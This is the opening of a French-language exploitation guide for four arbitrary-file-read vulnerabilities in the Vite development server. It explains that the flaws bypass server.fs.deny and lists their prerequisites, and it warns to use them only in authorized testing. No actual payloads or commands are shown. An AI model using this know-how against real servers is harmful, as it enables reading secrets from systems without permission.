Guide d'exploitation des vulnérabilités Vite (CVE-2025-30208/31125/31486/32395)

Ce document résume les méthodes d'exploitation de quatre vulnérabilités de lecture arbitraire de fichiers dans le serveur de développement Vite, avec des exemples pour Linux et Windows. Attention : à utiliser uniquement dans un environnement de test de sécurité autorisé.

Principes de base

Ces quatre vulnérabilités dans le serveur de développement Vite permettent toutes à un attaquant de contourner la restriction server.fs.deny et de lire des fichiers arbitraires sur le serveur. Chaque vulnérabilité utilise une technique de contournement différente, mais le principe de base est similaire.

Conditions requises

Les quatre vulnérabilités nécessitent toutes les conditions suivantes pour être exploitées :

La cible utilise une version affectée du serveur de développement Vite
Le serveur de développement est explicitement exposé au réseau (via l'option --host ou l'option de configuration server.host)
Pour CVE-2025-32395, le serveur doit également fonctionner dans un environnement Node ou Bun (et non Deno)
